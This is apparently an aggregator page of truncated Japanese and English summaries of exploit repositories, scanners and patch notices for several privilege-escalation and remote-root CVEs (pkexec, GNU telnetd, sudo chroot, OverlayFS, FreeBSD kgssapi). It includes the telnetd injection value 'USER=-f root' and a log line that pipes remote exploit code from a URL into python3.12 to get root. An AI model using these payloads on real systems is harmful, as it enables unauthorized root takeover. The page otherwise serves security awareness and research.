dissecting-pkexec-cve-2021-4034

pkexec CVE-2021-4034 の解析 はじめにと使用方法 はじめに これは、CVE-2021-4034 が実際にどのように動作するかを解説したブログ記事の一部です。 使用方法 このリポジトリには、コードとコメントを含む単一の C ファイルが含まれており、コンパイルと実行は非常に簡単です: root@kitploit: gcc pkexec-cve-2021-4034.c -o run-milotio 免責事項 私のウェブサイトと同じ免責事項を以下に示します。この脆弱性は、システムと環境を保護する方法を理解するためだけに、倫理的かつ教育的な目的で分析されています。...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd リモート認証バイパス 本当に2026年になってtelnetですか？ そろそろ移行しましょうよ。SSHは1995年からあるんですよ。 🤦 説明 GNU Inetutils telnetd のバージョン1.9.3から2.7に影響する重大な認証バイパス脆弱性です。 この脆弱性は、NEW-ENVIRON telnetオプションを悪用して login1 に悪意のある引数を注入します。telnetプロトコルを介して USER=-f root を設定することで、攻撃者は認証をバイパスし、資格情報なしでrootシェルを取得できます...

CVE-2026-24061-GNU-Inetutils-telnetd-Remote-Authentication-Bypass-Root-Shell-

🧨 概要 このリポジトリには、GNU Inetutils telnetd のリモート認証バイパス脆弱性に対する Proof‑of‑Concept エクスプロイトが含まれています。 この問題は、telnetd が /bin/login を呼び出す前に、Telnet NEW‑ENVIRON ネゴシエーションを介して受信した USER 環境変数を適切にサニタイズしないために発生します。 以下を送信することで: root@kitploit: USER=-f root telnetd は実質的に以下を実行します: root@kitploit: /bin/login -f root...

CVE-2021-4034

CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt ビルド コンパイルするには、make を使用するだけです 注記 : CentOS 8 Stream には開発ツールが含まれていません。次のコマンドでインストールしてください: dnf groupinstall 'Development Tools' 使用方法 ./cve-2021-4034 を実行します お使いのディストリビューションに脆弱性がある場合、root 権限を取得できます!...

pkwner

root@kitploit: ██████╗ ██╗ ██╗██╗ ██╗███╗ ██╗███████╗██████╗ ██╔══██╗██║ ██╔╝██║ ██║████╗ ██║██╔════╝██╔══██╗ ██████╔╝█████╔╝ ██║ █╗ ██║██╔██╗ ██║█████╗ ██████╔╝ ██╔═══╝ ██╔═██╗ ██║███╗██║██║╚██╗██║██╔══╝ ██╔══██╗ ██║ ██║ ██╗╚███╔███╔╝██║ ╚████║███████╗██║ ██║ ╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝...

scan-cve-2026-24061

CVE-2026-24061 スキャナー – GNU inetutils telnetd 認証バイパス ⚠️ 非常に重要な法的注意事項 ⚠️ このツールは教育目的、セキュリティ研究、脆弱性分析、および許可を得たテスト専用 です。 あなたが所有していない、または書面による明示的な許可を得ていないシステムに対する不正な 使用は犯罪 です（ブラジルでは刑法第154-A条＋法律14.155/2021、その他の国際法も適用）。 自分の環境、管理されたラボ、または署名済みの RoE（Rules of Engagement）に基づくペンテスト/レッドチームでのみ 使用してください。...

CVE-2026-39842

CVE-2026-39842: OpenRemote ルールエンジンにおける式インジェクションによるRCE TL;DR OpenRemoteのルールエンジンにおける重大なリモートコード実行の脆弱性により、write:rules ロールを持つ認証済みユーザーがサーバー上でroot権限を持つ任意のコードを実行できます。 CVSSスコア : 10.0（Critical） CVSSベクター : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 影響を受けるバージョン : OpenRemote = 1.22.0 認証の必要性 : あり（write:rules...

CVE-2026-4747

root@kitploit: / /\ \ / / | | \ / \ \ \ \ | || | || || \ | | \ \ / /| | | | | | | \ \ | | / /| || | | | | \ V / | ||| / /| || / / \ \ | || | / / | |/ / | / | ||/| \ / // |||| CVE-2026-4747 — FreeBSD リモートカーネルRCE kgssapi.ko のスタックバッファオーバーフロー → 約4時間でルートシェル...

CVE-2025-32463

CVE-2025-32463 🚨 sudo chroot を使用した root への権限昇格。gcc のインストールは不要。 🚀 CVE-2025-32463 とは？ CVE-2025-32463 は、ローカルの攻撃者が sudo chroot コマンドを悪用して root への権限昇格を可能にする Linux の脆弱性です。類似のエクスプロイトとは異なり、この手法は gcc やコードのコンパイルを必要とせず 、攻撃者にとってより利用しやすいものとなっています。 Terminal GIF 🛠️ エクスプロイトの手順 1. 誤って設定された sudo chroot の権限を特定する。 2...

OverlayFS-LPE-Exploit

OverlayFS-LPE-Exploit OverlayFS ローカル権限昇格 CVE-2021-3493 プロジェクト概要 このリポジトリには、Ubuntu Linux カーネルで発見されたローカル権限昇格 LPE 脆弱性に関するドキュメントとエクスプロイトコードが含まれています。これは TryHackMe ラボ環境でテストされました。 ラボのハイライト ターゲット: Ubuntu Linux 脆弱なシステム エクスプロイト: ローカル権限昇格 LPE 目標: 一般ユーザーから root アクセスを取得する 注記 教育および倫理的なサイバーセキュリティ演習のみを目的としています。...

ROOT-APP-MAVEN-CVE-2026-0636 CVE-2026-0636 in org.bouncycastle:bcprov-jdk18on - Patched by Root

Root has patched CVE-2026-0636 in the org.bouncycastle:bcprov-jdk18on package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2025-14813 CVE-2025-14813 in org.bouncycastle:bcprov-jdk18on - Patched by Root

Root has patched CVE-2025-14813 in the org.bouncycastle:bcprov-jdk18on package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2026-5598 CVE-2026-5598 in org.bouncycastle:bcprov-jdk18on - Patched by Root

Root has patched CVE-2026-5598 in the org.bouncycastle:bcprov-jdk18on package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2026-8763 CVE-2026-8763 in org.bouncycastle:bc-fips - Patched by Root

Root has patched CVE-2026-8763 in the org.bouncycastle:bc-fips package for Root:Maven. Multiple fixed versions available...

DEBIAN-CVE-2026-93798

In the Linux kernel, the following vulnerability has been resolved: btrfs: fix reloc root cleanup in mergerelocroots If the root we got has zero root refs in its root item, we are resetting the root's -relocroot without using barriers like we do everywhere else. Sashiko complained about this whil...

AZL-103637 CVE-2026-93798 affecting package kernel 6.6.157.1-1

In the Linux kernel, the following vulnerability has been resolved: btrfs: fix reloc root cleanup in mergerelocroots If the root we got has zero root refs in its root item, we are resetting the root's -relocroot without using barriers like we do everywhere else. Sashiko complained about this whil...

dirty-frag-check

Dirty Frag チェック CVE-2026-43284 / CVE-2026-43500 Linuxカーネルのローカルルート権限昇格の脆弱性「Dirty Frag」 CVE-2026-43284、 CVE-2026-43500 の読み取り専用チェッカーです。 カーネルバージョン、モジュール状態、KernelCare livepatch、追加したmodprobeブラックリストを確認します。 エクスプロイトコードは実行しません。 CVE-2026-31431-check の関連ツールです。 注意: これはヒューリスティックな判定です。緑色の判定結果は保証を意味するものではありません。...

TEST-CVE-2026-31431

TEST-CVE-2026-31431 root@kitploit: oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d...

CVE-2026-31431

CVE-2026-31431 CVE-2026-31431 の PoC スクリプト このスクリプトは、わずか10行のPoCで、任意のユーザーがマシン上でrootになることを可能にします。...

CVE-2026-24061

-c0392b?style=flat GNU InetUtils telnetd - 認証不要のリモートルート権限取得（NEW-ENVIRON 変数インジェクション） 概要 - 技術分析 - 影響を受けるバージョン - 使用方法 - 対策と緩和策 - 参考情報 脆弱性の概要 CVE-2026-24061 は、GNU InetUtils の一部として配布されている telnetd デーモンにおける重大な認証バイパス脆弱性です。この欠陥は、初期プロトコルハンドシェイク中の Telnet NEW-ENVIRON オプション（RFC 1572）の処理に存在します。...